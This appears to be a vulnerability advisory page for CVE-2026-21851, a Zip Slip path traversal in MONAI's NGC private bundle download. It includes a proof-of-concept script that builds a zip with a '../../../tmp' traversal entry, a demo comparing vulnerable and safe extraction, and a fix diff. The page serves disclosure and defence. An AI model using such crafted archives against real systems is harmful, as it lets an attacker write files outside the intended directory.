# CVE-2026-21851: monai Path Traversal — Fixed in 1.5.2

🐍

🐍 PyPI

Not in CISA KEV

MEDIUM severity

# CVE-2026-21851 — monai

MEDIUM [Fix: Project-MONAI/MONAI@4014c84](https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59)

CVE-2026-21851 is a medium-severity (CVSS 5.3) Path Traversal vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.

MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

Also known as[GHSA-9rg3-9pvr-6p27](/vulnerability/GHSA-9rg3-9pvr-6p27)PYSEC-2026-1678

Published

Jan 7, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-21851.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk

0.00%0.29%0.58%0.86%0.0%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐍`monai`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

## Description

### Summary

A **Path Traversal (Zip Slip)** vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

* * *

### Details

#### Vulnerable Code Location

**File:** `monai/bundle/scripts.py`  
**Lines:** 291-292  
**Function:** `_download_from_ngc_private()`

```
# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")
```

#### Root Cause

The code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory.

#### Safe Code Already Exists

MONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths:

```
def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")
```

#### Comparison with Other Download Functions

Function

File

Uses Safe Extraction?

`_download_from_github()`

scripts.py:198

✅ Yes (via `extractall()` wrapper)

`_download_from_monaihosting()`

scripts.py:205

✅ Yes (via `extractall()` wrapper)

`_download_from_bundle_info()`

scripts.py:215

✅ Yes (via `extractall()` wrapper)

`_download_from_ngc_private()`

scripts.py:292

❌ No (direct `z.extractall()`)

* * *

### PoC

#### Step 1: Create a Malicious Zip File

```
#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()
```

**Output:**

```
Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt
```

#### Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI):

```
#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)
```

**Output:**

```
==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt
```

* * *

### Impact

#### Conditions Required for Exploitation

1.  Attacker must control or compromise an NGC private repository
2.  Victim must configure MONAI to download from that repository
3.  Victim must use `source="ngc_private"` parameter

#### Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

-   The permissions of the user running MONAI
-   The target location of the escaped files
-   Python version (newer versions have some built-in path normalization)

#### Mitigating Factors

-   Requires attacker to control an NGC private repository
-   Modern Python versions (3.12+) have some built-in path normalization
-   The `ngc_private` source is less commonly used than other sources

* * *

### Recommended Fix

Replace the direct `extractall()` call with MONAI's existing safe extraction:

```
# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")
```

This aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources.

* * *

### Resources

-   [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)
-   [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability)
-   [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐍PyPI

`monai` 

all versions

1.5.2`pip install --upgrade 'monai==1.5.2'`

## Affected Products

1 product · 1 configurations

Application

`monai`project-monai

≤ 1.5.1

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update monai to 1.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-21851 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
    

## Frequently Asked Questions

\## Summary A \*\*Path Traversal (Zip Slip)\*\* vulnerability exists in MONAI's \`\_download\_from\_ngc\_private()\` function. The function uses \`zipfile.ZipFile.extractall()\` without path validation, while other similar download functions in the same codebase properly use the existing \`safe\_extract\_member()\` function. This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI. \*\*CWE:\*\* CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) --- ## Details ### Vulnerable Code Location \*\*File:\*\* \`monai/bundle/scripts.py\` \*\*Li

O3 Security · Impact-Aware SCA

### Is CVE-2026-21851 in your dependencies?

Find it across PyPI, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)